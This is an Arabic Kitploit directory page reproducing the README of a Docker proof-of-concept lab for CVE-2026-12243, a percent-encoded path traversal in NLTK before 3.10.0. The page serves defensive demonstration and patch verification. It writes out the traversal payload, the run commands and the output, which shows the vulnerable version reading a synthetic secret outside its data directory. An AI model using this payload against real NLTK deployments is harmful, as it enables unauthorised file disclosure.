Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/morzelowski/cve-2026-12243-nltk-poc
أمن الحاوياتتحليل الثغرات الأمنيةأمن الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubmorzelowski/cve-2026-12243-nltk-poc

CVE-2026-12243-NLTK-PoC

مختبر Docker يوضح ثغرة اجتياز المسار CVE-2026-12243 في NLTK قبل الإصدار 3.10.0، مع مقارنة السلوك الضعيف والسلوك المُصحح باستخدام سر اصطناعي في بيئة معزولة وغير متصلة بالإنترنت.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
منذ 9س 25دلم تتم المراجعة بعد

CVE-2026-12243 — مختبر استغلال ثغرة اجتياز المسار في NLTK

CVE NLTK Lab License

مختبر Docker صغير وقابل لإعادة الإنتاج يقارن سلوك اجتياز المسار المشفّر بنسبة مئوية في NLTK 3.9.4 مع السلوك المُصحَّح في NLTK 3.10.0.

الإصدار المعرّض للثغرة يتحقق من اسم المورد قبل فك ترميز عنوان URL. الحمولة الثابتة %2e%2e/%2e%2e/outside/lab-secret.txt تجتاز الفحص، ثم يتم فك ترميزها لاحقاً إلى ../../outside/lab-secret.txt، وتهرب من كلٍّ من دليل بيانات NLTK المُعدّ ودليل عمل العملية. الإصدار المُصحَّح يرفض نفس المدخلات.

[!CAUTION] هذا المستودع مخصص للأغراض التعليمية الدفاعية والاختبار المصرّح به فقط. يستخدم المختبر سراً اصطناعياً ثابتاً داخل حاوية معزولة. لا تقم بتكييفه للوصول إلى أنظمة أو بيانات لا تملكها أو ليس لديك إذن صريح لاختبارها.

نظرة سريعة

الحاويةإصدار NLTKالنتيجة المتوقعة
vulnerable3.9.4يقرأ العلامة الاصطناعية خارج /lab/nltk_data
patched3.10.0

لا يتم استخدام أي تنزيل للمجموعة النصية، أو خادم، أو منفذ، أو ربط وحدات تخزين، أو اتصال إنترنت أثناء التشغيل.

المتطلبات الأساسية

  • Docker Engine أو Docker Desktop
  • Docker Compose v2 (docker compose)
  • قشرة POSIX لتشغيل run.sh

طريقة الاستخدام

root@kitploit:~
git clone https://github.com/morzelowski/CVE-2026-12243-NLTK-PoC.git
cd CVE-2026-12243-NLTK-PoC
docker compose build
./run.sh

النتيجة المتوقعة:

root@kitploit:~
=== Vulnerable image: NLTK 3.9.4 ===
NLTK version       : 3.9.4
Working directory  : /app
Configured data dir: /lab/nltk_data
Encoded resource   : %2e%2e/%2e%2e/outside/lab-secret.txt
Decoded resource   : ../../outside/lab-secret.txt
Resolved candidate : /outside/lab-secret.txt
NLTK warning       : Security Violation [pathsec.open]: Unauthorized path /outside/lab-secret.txt
NLTK result        : read 36 bytes
Synthetic marker   : CVE-2026-12243-SYNTHETIC-LAB-MARKER
[PASS] Traversal escaped the configured NLTK data directory.

=== Patched image: NLTK 3.10.0 ===
NLTK version       : 3.10.0
NLTK result        : blocked (ValueError: Unsafe resource path: '...')
[PASS] Patched version rejected the same encoded traversal.

Lab completed: traversal reproduced and patched rejection verified.

الصورة المتأثرة تُبلغ أن /outside/lab-secret.txt غير مصرح به ولكنها لا تزال تُرجع محتوياته لأن NLTK 3.9.4 يستخدم أمان مسار يعتمد على التحذير فقط بشكل افتراضي. قد يختلف نص الاستثناء والتحذير قليلاً؛ يستخدم run.sh حالة خروج العملية، وليس مطابقة نصية هشة، لتحديد ما إذا كان العرض التوضيحي ناجحاً.

كيف يعمل العرض التوضيحي

تحتوي كل صورة على هذا التخطيط المنفصل عمداً:

root@kitploit:~
/
├── app/
│   └── poc.py          # process CWD is /app
├── lab/
│   └── nltk_data/      # configured NLTK search root
└── outside/
    └── lab-secret.txt  # public synthetic marker

يستبدل poc.py مسار nltk.data.path بـ /lab/nltk_data ويمرر اسم المورد الثابت %2e%2e/%2e%2e/outside/lab-secret.txt إلى nltk.data.load(..., format="raw"). في الإصدار المتأثر، يحدث فك الترميز متأخراً جداً في تدفق التحقق:

root@kitploit:~
/lab/nltk_data
      ↓  ../../outside/lab-secret.txt
/outside/lab-secret.txt

نظراً لأن دليل العمل هو /app، فإن العلامة الاختبارية تقع خارج الموقعين المهمين للعرض التوضيحي: /app و /lab/nltk_data.

يحتوي السكربت على تأكيدين صريحين:

  1. يجب أن يُرجع NLTK 3.9.4 العلامة الاصطناعية المعروفة.
  2. يجب أن يرفض NLTK 3.10.0 نفس اسم المورد تماماً.

أي نتيجة أخرى تُنهي العملية برمز خروج غير صفري، بحيث لا يمكن للفحوصات الآلية الإبلاغ عن نجاح كاذب.

نموذج الأمان

تكوين Compose يحدّ المختبر عمداً:

  • network_mode: none يعطّل الشبكات أثناء تشغيل أي من العرضين التوضيحيين.
  • لا يتم نشر أي منافذ على المضيف.
  • لا يتم تركيب أي أدلة مضيف أو مقبس Docker.
  • تعمل الحاويات كمستخدم غير مميز مع إسقاط جميع صلاحيات Linux وتفعيل no-new-privileges.
  • نظام الملفات الجذر للقراءة فقط؛ فقط نظام ملفات مؤقت صغير بـ noexec قابل للكتابة.
  • القيمة الوحيدة المكشوفة هي fixtures/lab-secret.txt، وهي علامة اختبار عامة تُنسخ إلى الصورة أثناء البناء.

يتطلب بناء الصورة الوصول إلى فهرس الحزم لتثبيت إصدارَي NLTK المثبّتين. تشغيل وقت التشغيل يكون دون اتصال.

التفاصيل الفنية

  • CVE: CVE-2026-12243
  • GHSA: GHSA-m42h-3232-vpv3
  • نوع الثغرة: CWE-22 — اجتياز المسار
  • الإصدارات المتأثرة: إصدارات NLTK قبل 3.10.0
  • الإصدار المُصحَّح: NLTK 3.10.0
  • الأثر: الكشف عن الملفات القابلة للقراءة من قبل عملية التطبيق عندما يتحكم المهاجم في اسم مورد مُمرَّر إلى nltk.data.load() أو nltk.data.find()

يُثبّت المختبر الإصدار 3.9.4 لأنه الإصدار المحدد المذكور في التقرير الأصلي، و3.10.0 لأنه أول إصدار مُصحَّح مسجّل في نشرة الصيانة.

التخفيف

قم بترقية NLTK وإبقائه محدثاً:

root@kitploit:~
python -m pip install "nltk>=3.10.0"

تجنّب أيضاً تمرير أسماء موارد غير موثوقة إلى واجهات برمجة تحميل الملفات. عندما يكون اختيار المستخدم مطلوباً، قم بتعيين معرّفات مواجهة المستخدم إلى قائمة سماح من الموارد المملوكة للتطبيق بدلاً من قبول المسارات أو عناوين URL مباشرة.

الأوامر اليدوية

شغّل أي جانب بشكل مستقل:

root@kitploit:~
docker compose run --rm vulnerable
docker compose run --rm patched

افحص تكوين Compose المُحلَّل بالكامل:

root@kitploit:~
docker compose config

أزل صور المختبر المبنية محلياً:

root@kitploit:~
docker compose down --rmi local

استكشاف الأخطاء وإصلاحها

  • permission denied: ./run.sh — نفّذ chmod +x run.sh مرة واحدة.
  • docker: command not found — ثبّت Docker Desktop أو Docker Engine.
  • أخطاء تنزيل الحزم أثناء البناء — تأكد من أن Docker لديه وصول صادر مؤقت للبناء، ثم أعد المحاولة باستخدام docker compose build --no-cache.

المراجع

  • نشرة الصيانة على GitHub GHSA-m42h-3232-vpv3
  • إدخال NVD لـ CVE-2026-12243
  • المشكلة الأصلية في NLTK #3504
  • طلب السحب لإصلاح NLTK #3522
  • الالتزام بالإصلاح aec4fce

الترخيص

صدر بموجب رخصة MIT.

تنزيل الأداة
يمنع الاجتياز المشفّر